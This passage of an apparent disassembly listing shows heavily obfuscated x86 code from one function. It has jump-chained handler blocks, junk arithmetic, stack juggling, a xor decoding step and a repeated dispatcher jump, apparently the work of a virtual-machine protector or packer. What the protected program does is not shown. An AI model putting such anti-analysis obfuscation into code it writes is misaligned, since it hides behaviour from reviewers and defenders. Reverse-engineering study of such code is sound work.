		pop	esi
		jmp	loc_596AAF
; ---------------------------------------------------------------------------


loc_59A9F3:				; CODE XREF: sub_58A891+901Ej
		jnz	loc_59A2E1
		shr	ebp, 1
		jp	loc_59B2FB
		mov	dl, al
		sub	al, 0F8h


loc_59AA05:				; CODE XREF: sub_58A891+6C5Ej
		pop	ebp
		sub	[esp+10h+var_C], 170D4D5Ah
		jmp	loc_58ECB2
; ---------------------------------------------------------------------------


loc_59AA13:				; CODE XREF: sub_58A891:loc_597A84j
		xor	bl, 19h
		jnp	loc_5991F9
		or	bl, 0B4h
		jnz	loc_592DF0
		add	bl, 0F5h


loc_59AA28:				; CODE XREF: sub_58A891+11228j
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		add	al, 0E8h
		add	al, dh
		jmp	loc_59974D
; ---------------------------------------------------------------------------


loc_59AA3A:				; CODE XREF: sub_58A891+6C33j
		mov	edx, 4845229Bh
		sub	[esp+1Eh+var_1C+2], 4DD812A9h
		jmp	loc_5928B2
; ---------------------------------------------------------------------------


loc_59AA4C:				; CODE XREF: sub_58A891+9B5Fj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+44h+var_46+2]
		jmp	loc_592619
; ---------------------------------------------------------------------------


loc_59AA5E:				; CODE XREF: sub_58A891+BA3Dj
		add	esi, 202D2F8Bh
		jmp	loc_590327
; ---------------------------------------------------------------------------


loc_59AA69:				; CODE XREF: sub_58A891+8C8Fj
		xor	ebx, 4366541Ah
		sub	ebx, 3E1263E1h
		jmp	loc_59196F
; ---------------------------------------------------------------------------


loc_59AA7A:				; CODE XREF: sub_58A891+4674j
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		push	4
		pop	eax
		add	edi, eax
		jmp	loc_595A7D
; ---------------------------------------------------------------------------


loc_59AA96:				; CODE XREF: sub_58A891+DC06j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AA9B:				; CODE XREF: sub_58A891+5EB9j
		push	ebx
		mov	ebx, 6F5261CCh
		xor	ebx, 46CB70E9h
		and	esi, ebx
		jmp	loc_58EAC4
; ---------------------------------------------------------------------------


loc_59AAAE:				; CODE XREF: sub_58A891+C44Aj
		xor	esi, 2E5EE9B6h
		add	eax, esi
		jmp	loc_595A21
; ---------------------------------------------------------------------------


loc_59AABB:				; CODE XREF: sub_58A891+A1B3j
		push	esp
		mov	ebp, [esp+10h+var_10]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_58E6BB
; ---------------------------------------------------------------------------


loc_59AAD1:				; CODE XREF: sub_58A891+B0A3j
		mov	word ptr [esp+8+var_8],	cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AAE1:				; CODE XREF: sub_58A891+7F69j
		jnz	loc_58E9A9
		shr	edi, 5
		jmp	loc_5953C4
; ---------------------------------------------------------------------------
		mov	[esp+48h+var_4A+2], ecx


loc_59AAF2:				; CODE XREF: sub_58A891+67D7j
		pop	edi
		add	edi, 4
		jmp	loc_5905C4
; ---------------------------------------------------------------------------


loc_59AAFE:				; CODE XREF: sub_58A891+4727j
		push	ecx
		mov	ecx, 74A564BAh
		or	ecx, 4FAD3CB4h
		jmp	loc_5929A8
; ---------------------------------------------------------------------------


loc_59AB0F:				; CODE XREF: sub_58A891+D50Fj
		mov	esi, [esp+4+var_4]
		jmp	loc_59A7B7
; ---------------------------------------------------------------------------


loc_59AB17:				; CODE XREF: sub_58A891+10955j
		add	esp, 4
		sub	ebx, eax
		push	1A7Eh
		mov	[esp+4+var_4], edx
		push	ebp
		push	78C03CDBh
		pop	ebp
		push	ecx
		mov	ecx, 5F65E2C5h
		sub	ebp, ecx
		pop	ecx
		mov	edx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 16960FC5h
		inc	ebx
		sub	ebx, 1433A4B5h
		or	edx, ebx
		jmp	loc_5930A5
; ---------------------------------------------------------------------------


loc_59AB4B:				; CODE XREF: sub_58A891+F894j
		push	edx
		mov	edx, 15705D3Eh
		sub	edx, 149527F5h
		mov	ebp, edx
		mov	edx, [esp+1Ch+var_1C]
		jmp	loc_594FBB
; ---------------------------------------------------------------------------


loc_59AB61:				; CODE XREF: sub_58A891+902Aj
		add	eax, 27447F60h
		add	ebp, eax
		pop	eax
		jmp	loc_59B0EA
; ---------------------------------------------------------------------------


loc_59AB6E:				; CODE XREF: sub_58A891+D669j
		sub	ebx, 537192Dh
		jmp	loc_59033C
; ---------------------------------------------------------------------------


loc_59AB79:				; CODE XREF: sub_58A891+6A86j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 61A714E8h
		or	edi, 9E506C4h
		shr	edi, 1
		xor	edi, 34F38B72h
		add	eax, edi
		pop	edi
		push	edx
		mov	edx, 347F144Ah
		add	edx, 0CB80EBB8h
		push	14CEh
		mov	[esp+14h+var_14], ebp
		mov	ebp, 106D5A68h
		sub	eax, ebp
		pop	ebp
		add	eax, edx
		push	esi
		mov	esi, 106D5A68h
		add	eax, esi
		pop	esi
		pop	edx
		push	eax
		push	[esp+10h+var_C]
		push	[esp+14h+var_14]
		pop	eax
		jmp	loc_5944FE
; ---------------------------------------------------------------------------


loc_59ABC9:				; CODE XREF: sub_58A891+3E43j
		mov	[esp+4Ch+var_4E+2], ecx
		push	edi
		mov	edi, 60F70B14h
		sub	edi, 5AD06E89h
		mov	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		xor	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		mov	ebp, [esp+44h+var_46+2]
		jmp	loc_598D09
; ---------------------------------------------------------------------------


loc_59ABF1:				; CODE XREF: sub_58A891+105EBj
		neg	eax
		jmp	loc_59219F
; ---------------------------------------------------------------------------


loc_59ABF8:				; CODE XREF: sub_58A891+D9B5j
		push	esi
		mov	esi, 282D4398h
		sub	edi, esi
		pop	esi
		push	edx
		mov	edx, 7E2870FBh
		and	edx, 776A665Ah
		or	edx, 5EDB19B3h
		push	eax
		mov	eax, 37236BABh
		xor	eax, 58AD0782h
		or	eax, 88564AFh
		xor	eax, 26E8469Fh
		jmp	loc_592B99
; ---------------------------------------------------------------------------


loc_59AC2D:				; CODE XREF: sub_58A891+E0B0j
		pop	eax
		add	ebx, eax
		push	edi
		mov	edi, 502B14E9h
		jmp	loc_591EF2
; ---------------------------------------------------------------------------


loc_59AC3B:				; CODE XREF: sub_58A891+49F8j
		add	esp, 4
		add	[esp+24h+var_20], edi
		pop	edi
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AC4B:				; CODE XREF: sub_58A891+8D8Fj
		mov	[esp+0Eh+var_10+2], ebx
		push	edi
		mov	edi, 223306C8h
		jmp	loc_59B0E2
; ---------------------------------------------------------------------------


loc_59AC59:				; CODE XREF: sub_58A891+CFC1j
					; DATA XREF: sub_58A891+3A33o
		mov	ax, word ptr [esp+44h+var_46+2]
		push	ebx
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], esp
		add	[esp+4Ch+var_4E+2], 4
		pop	ebx
		add	ebx, 4
		jmp	loc_59B40B
; ---------------------------------------------------------------------------


loc_59AC77:				; CODE XREF: sub_58A891+10CFDj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		mov	edx, [esp+48h+var_4A+2]
		add	esp, 4
		push	ebp
		push	ecx
		mov	ecx, 2CC3140Ah
		mov	ebp, 5FC34DEAh
		xor	ebp, ecx
		pop	ecx
		push	7F29h
		jmp	loc_59078F
; ---------------------------------------------------------------------------


loc_59ACA6:				; DATA XREF: sub_58A891+3AA3o
		lodsb
		xor	al, bl
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_598AC8
; ---------------------------------------------------------------------------


loc_59ACB7:				; CODE XREF: sub_58A891+9A96j
		sub	edx, 1C8706Eh
		add	esi, edx
		mov	edx, [esp+24h+var_24]
		add	esp, 4
		xor	esi, [esp+20h+var_20]
		xor	[esp+20h+var_20], esi
		xor	esi, [esp+20h+var_20]
		pop	esp
		and	word ptr [esp+1Ch+var_1C], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59ACD9:				; CODE XREF: sub_58A891+9F1Cj
		add	al, bl
		sub	al, 0F2h
		push	dx
		jmp	loc_591138
; ---------------------------------------------------------------------------


loc_59ACE4:				; CODE XREF: sub_58A891+A249j
		inc	bx
		push	eax
		mov	ax, 1DE8h
		add	ax, 533Bh
		add	ax, 1F77h
		jmp	loc_599D4B
; ---------------------------------------------------------------------------


loc_59ACF8:				; CODE XREF: sub_58A891+4FB2j
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_58E507
; ---------------------------------------------------------------------------
dword_59AD04	dd 123ABB53h, 0BF576EC8h, 5B6B3D5Bh, 68C6C781h,	8A0F116Fh
					; DATA XREF: sub_58A891+3A3Bo
		dd 0FFFFD88Bh, 0CF81D7F7h, 6A495100h
; ---------------------------------------------------------------------------
		add	al, 39h


loc_59AD26:				; CODE XREF: sub_58A891+B28Ej
		mov	ecx, [esp-8+arg_0]
		add	esp, 4
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AD31:				; CODE XREF: sub_58A891+C9C3j
		pop	edi
		mov	esi, edi
		pop	edi
		jmp	loc_592BD7
; ---------------------------------------------------------------------------


loc_59AD3A:				; CODE XREF: sub_58A891+B911j
		add	ebx, edi
		sub	ebx, 757A6701h
		mov	edi, [esp+0Ch+var_C]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 40B42C40h
		sub	edi, 70E91C53h
		not	edi
		dec	edi
		or	edi, 13AF17CDh
		sub	edi, 173627ABh
		jmp	loc_595D23
; ---------------------------------------------------------------------------


loc_59AD6E:				; CODE XREF: sub_58A891:loc_593CBCj
					; sub_58A891+E1BDj
		add	esp, 4
		xor	ecx, 67DE3874h
		add	edi, ecx
		jmp	loc_59579D
; ---------------------------------------------------------------------------


loc_59AD7E:				; CODE XREF: sub_58A891+C9E3j
		mov	edx, esi
		pop	esi
		jmp	loc_593D7D
; ---------------------------------------------------------------------------


loc_59AD86:				; DATA XREF: sub_58A891+3A73o
		mov	ax, word ptr [esp+8+var_8]
		push	22FEh
		jmp	loc_599112
; ---------------------------------------------------------------------------


loc_59AD94:				; CODE XREF: sub_58A891+F1D8j
		pop	esi
		jmp	loc_59440D
; ---------------------------------------------------------------------------


loc_59AD9A:				; CODE XREF: sub_58A891+84E7j
					; sub_58A891+10709j
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		mov	[esp+40h+var_40], ebx
		mov	ebx, 4ABC4F93h
		dec	ebx
		jmp	loc_5978B0
; ---------------------------------------------------------------------------


loc_59ADBB:				; CODE XREF: sub_58A891+BB68j
		add	ecx, 7CCF34B4h
		xor	ecx, 7463E954h
		jmp	loc_58F87A
; ---------------------------------------------------------------------------


loc_59ADCC:				; CODE XREF: sub_58A891+112E7j
		xor	ebx, 10840EC7h
		push	edx
		push	ebx
		xor	dword ptr [esp+0], 2B8225F7h
		jmp	loc_59BC3F
; ---------------------------------------------------------------------------


loc_59ADE0:				; CODE XREF: sub_58A891+9EE2j
		sub	al, 51h
		jmp	loc_598893
; ---------------------------------------------------------------------------


loc_59ADE7:				; CODE XREF: sub_58A891+4E92j
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+44h+var_46+2]
		mov	esp, [esp+44h+var_46+2]
		mov	[esp+44h+var_46+2], ebp
		push	eax
		push	[esp+48h+var_46+2]
		pop	eax
		jmp	loc_5949A7
; ---------------------------------------------------------------------------


loc_59ADFE:				; CODE XREF: sub_58A891+6F73j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_591F3A
; ---------------------------------------------------------------------------


loc_59AE0D:				; CODE XREF: sub_58A891+89ECj
		push	esi
		mov	esi, 40BE3B80h
		add	esi, 2A9EE79Fh
		add	eax, 54657F79h
		add	eax, esi
		jmp	loc_590EEF
; ---------------------------------------------------------------------------


loc_59AE25:				; CODE XREF: sub_58A891+746Fj
		mov	esi, 10B41E47h
		not	esi
		shl	esi, 7
		push	eax
		jmp	loc_5972AB
; ---------------------------------------------------------------------------


loc_59AE35:				; CODE XREF: sub_58A891+110B5j
		or	esi, 47A10BFBh
		jle	loc_59B8BD
		shl	esi, 4
		add	esi, 0F79CA4EDh
		jmp	loc_59A796
; ---------------------------------------------------------------------------


loc_59AE4F:				; CODE XREF: sub_58A891+B672j
		add	edi, 4
		jmp	loc_58F35D
; ---------------------------------------------------------------------------


loc_59AE5A:				; CODE XREF: sub_58A891+F4FAj
		pop	edx
		jmp	loc_5992DC
; ---------------------------------------------------------------------------


loc_59AE60:				; CODE XREF: sub_58A891+E6D7j
		sub	ebx, edx
		add	ebx, 74061DC4h
		sub	ebx, 7C515647h
		pop	edx
		push	eax
		mov	eax, 6B2A3419h
		inc	eax
		jle	loc_59661A
		jmp	loc_59ABF1
; ---------------------------------------------------------------------------


loc_59AE81:				; CODE XREF: sub_58A891+C80Bj
		sub	edi, ecx
		jmp	loc_58F3BC
; ---------------------------------------------------------------------------


loc_59AE88:				; CODE XREF: sub_58A891+9055j
		push	1DEEh
		mov	[esp+10h+var_10], ecx
		jmp	loc_58FA75
; ---------------------------------------------------------------------------


loc_59AE95:				; CODE XREF: sub_58A891+BAB1j
		mov	[esp+3Ch+var_3C], edi
		mov	edi, 456C4379h
		add	edi, 4E7F4F44h
		shr	edi, 1
		jmp	loc_592C3F
; ---------------------------------------------------------------------------


loc_59AEAA:				; CODE XREF: sub_58A891+FF21j
		mov	[esp+20h+var_20], ecx
		mov	ecx, edi
		mov	eax, ecx
		pop	ecx
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_595EE1
; ---------------------------------------------------------------------------


loc_59AEBA:				; CODE XREF: sub_58A891+5B1Dj
		shl	ecx, 8
		jmp	loc_596DEF
; ---------------------------------------------------------------------------


loc_59AEC2:				; CODE XREF: sub_58A891+C2BBj
		sub	ebp, 418B063Fh
		mov	eax, ebp
		mov	ebp, [esp+24h+var_24]
		push	ebp
		jmp	loc_590B24
; ---------------------------------------------------------------------------


loc_59AED3:				; CODE XREF: sub_58A891+6FB5j
		add	esp, 4
		sub	eax, 4FCB5481h
		add	eax, 79BF78AFh
		add	eax, ecx
		sub	eax, 79BF78AFh
		jmp	loc_58E97D
; ---------------------------------------------------------------------------


loc_59AEEF:				; CODE XREF: sub_58A891+8772j
		pop	edi
		add	edi, 247F26D2h
		jbe	loc_58E6AB
		jmp	loc_597A35
; ---------------------------------------------------------------------------


loc_59AF01:				; CODE XREF: sub_58A891+1008Bj
		push	4305h
		mov	[esp+2Ch+var_2C], ebx
		push	ecx
		push	eax
		mov	eax, 0F4468AFh
		xor	eax, 1FF81CE8h
		not	eax
		sub	eax, 93DE1A27h
		mov	ecx, eax
		pop	eax
		inc	ecx
		sub	ecx, 13935FD7h
		xchg	edx, ecx
		jmp	loc_590B1D
; ---------------------------------------------------------------------------


loc_59AF2D:				; CODE XREF: sub_58A891+75AEj
		not	edi
		xchg	edi, [esp+44h+var_46+2]
		pop	ebx
		not	ebx
		sub	ebx, 3BEB2C79h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_593599
; ---------------------------------------------------------------------------


loc_59AF49:				; CODE XREF: sub_58A891+543Fj
		sub	ebx, 5EA42C3Bh
		push	ecx
		jmp	loc_591BEA
; ---------------------------------------------------------------------------


loc_59AF55:				; CODE XREF: sub_58A891+3C8Ej
		mov	esi, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_59388C
; ---------------------------------------------------------------------------


loc_59AF60:				; CODE XREF: sub_58A891+CC5Bj
		mov	dl, bl
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	bl, dl
		mov	dx, word ptr [esp+36h+var_38+2]
		add	esp, 2
		add	bl, 0D1h
		add	bl, 37h
		jmp	loc_594931
; ---------------------------------------------------------------------------


loc_59AF7F:				; CODE XREF: sub_58A891+80B1j
		mov	edi, ecx
		pop	ecx
		jmp	loc_591CCB
; ---------------------------------------------------------------------------


loc_59AF87:				; CODE XREF: sub_58A891+A9A7j
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AF8F:				; CODE XREF: sub_58A891+C6A0j
		sub	[esp+32h+var_34+2], 0F711579h
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_59AD9A
; ---------------------------------------------------------------------------


loc_59AF9F:				; CODE XREF: sub_58A891+A80Fj
		mov	[esp+18h+var_18], esp
		jmp	loc_59172F
; ---------------------------------------------------------------------------


loc_59AFA7:				; CODE XREF: sub_58A891+111FDj
		mov	bh, 0A1h
		neg	bh
		shr	bh, 1
		push	0
		jmp	loc_5943E1
; ---------------------------------------------------------------------------


loc_59AFB7:				; CODE XREF: sub_58A891+F434j
		xor	edx, 3CCB63C6h
		jmp	loc_5986E0
; ---------------------------------------------------------------------------


loc_59AFC2:				; CODE XREF: sub_58A891+A4C4j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59AFC7:				; CODE XREF: sub_58A891+E94Fj
		mov	esi, [esp-0Ch+arg_4]
		add	esp, 4
		push	ebp
		jmp	loc_594927
; ---------------------------------------------------------------------------


loc_59AFD3:				; CODE XREF: sub_58A891+DFFDj
		add	eax, 5BB85C21h
		pop	esi
		xor	ebx, eax
		push	ebp
		mov	ebp, 33D229F7h
		sub	edx, ebp
		pop	ebp
		jmp	loc_58EF0A
; ---------------------------------------------------------------------------


loc_59AFE9:				; CODE XREF: sub_58A891+9B0Fj
		push	ebx
		push	[esp+40h+var_3C]
		jmp	loc_5936E6
; ---------------------------------------------------------------------------


loc_59AFF3:				; CODE XREF: sub_58A891+10CD1j
					; sub_58A891+10E24j
		mov	esi, [esp+44h+var_46+2]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	esi
		push	esp
		mov	esi, [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58EFF2
; ---------------------------------------------------------------------------


loc_59B013:				; CODE XREF: sub_58A891+7330j
		and	dl, 4Dh
		sub	dl, 0A6h
		jmp	loc_5946DE
; ---------------------------------------------------------------------------


loc_59B01E:				; CODE XREF: sub_58A891+44B1j
		xor	eax, 0B154C82h
		neg	eax
		dec	eax
		shr	eax, 7
		xor	eax, 14953DAh
		add	esi, eax
		push	[esp+10h+var_10]
		pop	eax
		jmp	loc_593492
; ---------------------------------------------------------------------------


loc_59B039:				; DATA XREF: sub_58A891+3ABBo
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	esp
		push	[esp+10h+var_10]
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+14h+var_14]
		jmp	loc_597613
; ---------------------------------------------------------------------------


loc_59B05F:				; CODE XREF: sub_58A891+DA57j
		not	ebx
		add	ebx, 9C35956Fh
		mov	ecx, ebx
		jmp	loc_590A2C
; ---------------------------------------------------------------------------


loc_59B06E:				; CODE XREF: sub_58A891+D6FDj
		push	[esp+14h+var_10]
		mov	ebx, [esp+18h+var_18]
		add	esp, 4
		pop	[esp+14h+var_14]
		pop	esp
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_5964ED
; ---------------------------------------------------------------------------


loc_59B084:				; CODE XREF: sub_58A891+B827j
		add	esi, 4
		xchg	esi, [esp-0Ch+arg_4]
		pop	esp
		jmp	loc_5956DA
; ---------------------------------------------------------------------------


loc_59B093:				; CODE XREF: sub_58A891+A16Dj
					; sub_58A891+C402j
		mov	ebx, 76F541D4h
		add	ebx, 890ABE68h
		push	edx
		mov	edx, 24EF10D4h
		jmp	loc_598221
; ---------------------------------------------------------------------------


loc_59B0A9:				; CODE XREF: sub_58A891:loc_594767j
		jmp	loc_5953CF
; ---------------------------------------------------------------------------


loc_59B0AE:				; CODE XREF: sub_58A891+B783j
		mov	edi, esi
		pop	esi
		add	ebx, 4ABB26F3h
		push	edx
		mov	edx, 2B23687Bh
		not	edx
		dec	edx
		xor	edx, 2EA91C35h
		xor	edx, 110743FEh
		xor	edx, 0F38BE8BEh
		sub	ebx, edx
		pop	edx
		sub	ebx, 60E939B9h
		add	ebx, edi
		jmp	loc_5931E5
; ---------------------------------------------------------------------------


loc_59B0E2:				; CODE XREF: sub_58A891+103C3j
		inc	edi
		neg	edi
		jmp	loc_597C95
; ---------------------------------------------------------------------------


loc_59B0EA:				; CODE XREF: sub_58A891+102D8j
		add	ebp, ebx
		push	edx
		mov	edx, 15E0043Eh
		sub	ebp, edx
		jmp	loc_598EAB
; ---------------------------------------------------------------------------


loc_59B0F9:				; CODE XREF: sub_58A891+A8B4j
		pop	ecx
		push	small 7967h
		mov	word ptr [esp+0Eh+var_10+2], cx
		jmp	loc_599AC7
; ---------------------------------------------------------------------------


loc_59B107:				; CODE XREF: sub_58A891+9A47j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B10C:				; CODE XREF: sub_58A891+112D0j
		mov	ecx, [esp+6+var_8+2]
		jmp	loc_597F57
; ---------------------------------------------------------------------------


loc_59B114:				; CODE XREF: sub_58A891+3D25j
		add	[esp+34h+var_34], eax
		add	[esp+34h+var_34], 1C08100Dh
		push	28CEh
		jmp	loc_59665E
; ---------------------------------------------------------------------------


loc_59B128:				; CODE XREF: sub_58A891+D508j
		push	esi
		mov	esi, 50562326h
		xor	esi, 65646852h
		jmp	loc_599C4D
; ---------------------------------------------------------------------------


loc_59B139:				; CODE XREF: sub_58A891+E2D2j
		add	eax, ecx
		jmp	loc_598009
; ---------------------------------------------------------------------------


loc_59B140:				; DATA XREF: sub_58A891+39C7o
		neg	word ptr [esp+8+var_8]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B14A:				; CODE XREF: sub_58A891+D896j
		mov	edi, 6114025Bh
		mov	edx, edi
		pop	edi
		jmp	loc_590308
; ---------------------------------------------------------------------------


loc_59B157:				; CODE XREF: sub_58A891+5B7Fj
		sub	esp, 4
		mov	[esp+18h+var_18], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 71680A16h
		sub	edi, 71680A12h
		jmp	loc_5933E6
; ---------------------------------------------------------------------------


loc_59B179:				; CODE XREF: sub_58A891+9B4Bj
		push	edx
		mov	edx, esp
		jmp	loc_58EB4E
; ---------------------------------------------------------------------------


loc_59B181:				; CODE XREF: sub_58A891+BBABj
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, esp
		jmp	loc_599B8F
; ---------------------------------------------------------------------------


loc_59B18B:				; CODE XREF: sub_58A891+8B0Bj
		sub	ebx, 5C44493Ah
		mov	edx, ebx
		pop	ebx
		sub	ebx, 44B33FD0h
		add	ebx, edx
		add	ebx, 44B33FD0h
		pop	edx
		xor	ebx, [esp-10h+arg_8]
		xor	[esp-10h+arg_8], ebx
		xor	ebx, [esp-10h+arg_8]
		pop	esp
		jmp	loc_5978FF
; ---------------------------------------------------------------------------


loc_59B1B2:				; CODE XREF: sub_58A891+53E9j
					; sub_58A891+6E22j ...
		mov	esi, 4
		add	edi, esi
		jmp	loc_58E865
; ---------------------------------------------------------------------------


loc_59B1BE:				; CODE XREF: sub_58A891+9767j
		pop	ecx
		push	small 5242h
		mov	[esp+0], bx
		sub	esp, 4
		mov	[esp+46h+var_46], eax
		push	edx
		mov	dh, 0ACh
		mov	al, 0EBh
		sub	al, 2Dh
		sub	al, dh
		jmp	loc_58EFD3
; ---------------------------------------------------------------------------


loc_59B1DB:				; CODE XREF: sub_58A891+951Dj
		add	esi, 0F4CD10F9h
		sub	ebx, esi
		mov	esi, [esp+2Ch+var_2C]
		jmp	loc_59AB17
; ---------------------------------------------------------------------------


loc_59B1EB:				; CODE XREF: sub_58A891+6742j
		add	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_59A058
; ---------------------------------------------------------------------------


loc_59B1F4:				; CODE XREF: sub_58A891+B25Ej
		jmp	loc_590E10
; ---------------------------------------------------------------------------


loc_59B1F9:				; CODE XREF: sub_58A891+E442j
		xor	eax, esi
		mov	esi, [esp-10h+arg_8]
		add	esp, 4
		push	7673h
		mov	[esp-10h+arg_8], edi
		jmp	loc_592730
; ---------------------------------------------------------------------------


loc_59B20E:				; CODE XREF: sub_58A891+8E8Cj
		mov	cx, word ptr [esp+4+var_4]
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+10h+var_10]
		push	ebp
		mov	ebp, 4
		sub	[esp+10h+var_C], 6D4B2442h
		add	[esp+10h+var_C], ebp
		add	[esp+10h+var_C], 6D4B2442h
		pop	ebp
		pop	eax
		push	esi
		push	edx
		mov	edx, 70DE616Ch
		jmp	loc_5937D6
; ---------------------------------------------------------------------------


loc_59B245:				; CODE XREF: sub_58A891+C219j
		sub	[esp+8], edx
		pop	edx
		sub	[esp+4], esi
		add	dword ptr [esp+4], 5D38001Fh
		sub	dword ptr [esp+4], 2D223FF0h
		jmp	loc_596D37
; ---------------------------------------------------------------------------


loc_59B263:				; CODE XREF: sub_58A891+AE1Bj
		mov	ecx, 0AC471E2h
		jmp	loc_591C45
; ---------------------------------------------------------------------------


loc_59B26D:				; CODE XREF: sub_58A891+6C7Dj
		mov	esp, [esp+3Ch+var_3C]
		sar	[esp+3Ch+var_3C], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B279:				; CODE XREF: sub_58A891+ED29j
		xchg	esi, [esp+18h+var_18]
		jmp	loc_58E86C
; ---------------------------------------------------------------------------


loc_59B281:				; CODE XREF: sub_58A891+ED1Aj
		mov	word ptr [esp+38h+var_38], dx
		mov	dl, 0B7h
		jmp	loc_59BADD
; ---------------------------------------------------------------------------


loc_59B28C:				; CODE XREF: sub_58A891+6EE3j
		sub	eax, 26703434h
		pop	edx
		jmp	loc_59798C
; ---------------------------------------------------------------------------


loc_59B297:				; CODE XREF: sub_58A891+1106Fj
		and	ecx, edi
		mov	edi, [esp+0]
		add	esp, 4
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp+0]
		pop	eax
		jmp	loc_599A51
; ---------------------------------------------------------------------------


loc_59B2B1:				; CODE XREF: sub_58A891+B3E5j
		sub	ah, 0EBh
		jmp	loc_59B7D6
; ---------------------------------------------------------------------------


loc_59B2B9:				; CODE XREF: sub_58A891+C299j
		mov	[esp-8+arg_0], ecx
		mov	ch, dl
		push	edx
		mov	dl, ch
		jmp	loc_598E64
; ---------------------------------------------------------------------------


loc_59B2C6:				; CODE XREF: sub_58A891+E912j
		pop	esi
		add	ecx, eax
		sub	ecx, 14E37C9Ch
		pop	eax
		push	ebx
		jmp	loc_591396
; ---------------------------------------------------------------------------


loc_59B2D6:				; CODE XREF: sub_58A891+95D4j
		mov	word ptr [esp+40h+var_40], ax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B2DF:				; CODE XREF: sub_58A891+AAF9j
		push	eax
		push	esp
		pop	eax
		push	edi
		mov	edi, 2CA60738h
		not	edi
		and	edi, 7A70F66h
		push	edi
		xchg	ebx, [esp+58h+var_58]
		xchg	ecx, ebx
		jmp	loc_592E3B
; ---------------------------------------------------------------------------


loc_59B2FB:				; CODE XREF: sub_58A891+568Ej
					; sub_58A891+FAD8j ...
		mov	edi, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		xor	eax, edi
		push	[esp+10h+var_10]
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_590E88
; ---------------------------------------------------------------------------


loc_59B313:				; CODE XREF: sub_58A891+8BF7j
		pop	ecx
		add	edx, 6B074EA3h
		add	edx, edi
		sub	edx, 6B074EA3h
		pop	edi
		push	edx
		push	[esp+10h+var_C]
		pop	edx
		pop	[esp+10h+var_10]
		mov	esp, [esp+0Ch+var_C]
		inc	[esp+0Ch+var_C]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59B338:				; CODE XREF: sub_58A891+F745j
		pop	ebx
		sub	eax, ebx
		add	eax, 49C71A8h
		push	54C6h
		mov	[esp+14h+var_14], ebp
		mov	ebp, 14DE4DA7h
		inc	ebp
		neg	ebp
		jz	loc_5968A2
		push	esi
		push	14B67210h
		pop	esi
		shr	esi, 7
		jmp	loc_595BB7
; ---------------------------------------------------------------------------


loc_59B365:				; CODE XREF: sub_58A891+DA48j
		pop	edi
		add	[esp+48h+var_46+2], ebx
		mov	ebx, [esp+48h+var_4A+2]
		push	eax
		jmp	loc_597BEF
; ---------------------------------------------------------------------------


loc_59B373:				; CODE XREF: sub_58A891+3D2Fj
		add	esp, 4
		add	eax, esi
		sub	eax, 5FE86662h
		pop	esi
		sub	eax, 68416D3Eh
		jmp	loc_593D45
; ---------------------------------------------------------------------------


loc_59B388:				; CODE XREF: sub_58A891+6E08j
					; sub_58A891+F510j
		jmp	loc_58FDA2
; ---------------------------------------------------------------------------


loc_59B38D:				; CODE XREF: sub_58A891+B336j
		push	ecx
		mov	ecx, 6C007858h
		xor	ecx, 43D76ADEh
		jmp	loc_58FE42
; ---------------------------------------------------------------------------


loc_59B39E:				; CODE XREF: sub_58A891+11205j
		add	edi, 5BB15580h
		add	edi, ebx
		sub	edi, 5BB15580h
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		mov	eax, [esp+0]
